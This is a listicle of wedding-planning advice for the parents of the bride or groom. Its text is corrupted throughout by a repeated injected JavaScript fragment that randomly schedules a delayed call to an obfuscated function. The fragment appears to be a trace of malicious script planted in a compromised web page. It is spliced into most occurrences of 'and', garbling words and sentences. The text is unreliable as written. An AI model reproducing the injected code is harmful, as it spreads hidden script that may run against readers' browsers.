1.Beware of over enthusiasm

 

It’s great that you want to be involved in the wedding planning, but there is such a thing as overdoing it. It could be that your son or daughter have strict ideas as to what they want from their wedding, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} that’s great- it is their day after all, or they might want as much input from you as possible. Either way find out what the couple expect from you andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} try not to overstep the mark too much, it’s easy to get carried away! Let them know that you are there to support them in whatever way they need andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} let them come to you.

 

2.Money talks

 

Nowadays it’s quite common for the bride andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} groom to fund their own wedding; however, if you are insisting on making a contribution make sure that they (andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} you), know what your limits are. Discuss any monetary issues with your partner before offering over a chunk of your savings to your child’s wedding, after all, you’re not the bank of mum andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} dad.

 

3.Don’t hog the guest list

 

Just because you were invited to cousin Janice’s step-daughter’s niece’s wedding, doesn’t mean you have to invite them to your son or daughter’s big day. Chances are the couple will already have a long list of friends andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} family to invite, but don’t forget that you should have some input- it’s not everyday you marry off one of your children! Be reasonable with your demandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} be prepared to cut down your list if necessary as the other set of parents will want input as well!

 

4.Meet the parents

 

If you haven’t done so already then it’s probably best that you meet your son or daughter in-law’s parents before the big day. A casual dinner at a restaurant is a nice way to forge some new connections as it takes the pressure of being the host off either family. If your child does not suggest meeting the parents to you themselves then let them know you are excited to do so as they might be nervous about bringing it up. Often a little encouragement is all that is needed.

 

5.Dress appropriately

 

Consult your son or daughter as to the style of the wedding so that you can plan your outfit accordingly. If they want a toned down affair then I’m afraid you might have to stow your hat! If you have built up a good rapport with the other mother in-law to be, then it might be a nice idea for you to go shopping together, that way you won't clash andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} your styles will compliment each other. Whatever you do, don’t wear white- Brides only I’m afraid! Even if it shows off your great tan.

 

6.Be supportive

 

We’ve saved the most important for last- andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} it should really go without saying. Wedding guests can be quite demandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ing andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the bride andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} groom will often find a lot of pressure put on them from unknowing friends andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} family. Try to be on handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} to diffuse any situation as it occurs; be that reassuring someone who didn’t get a full day invite or stopping drunk cousin jackie from dancing on the table.

 

You may find that you are also needed as a shoulder to cry on. While wedding are a happy time they can also be an extremely stressful one. With extra demandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s on their time andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} wallets they might just need you to wrap them up in a hug andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} tell them it’s all going to be okay, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} at the end of the day- isn’t that what mums do best?
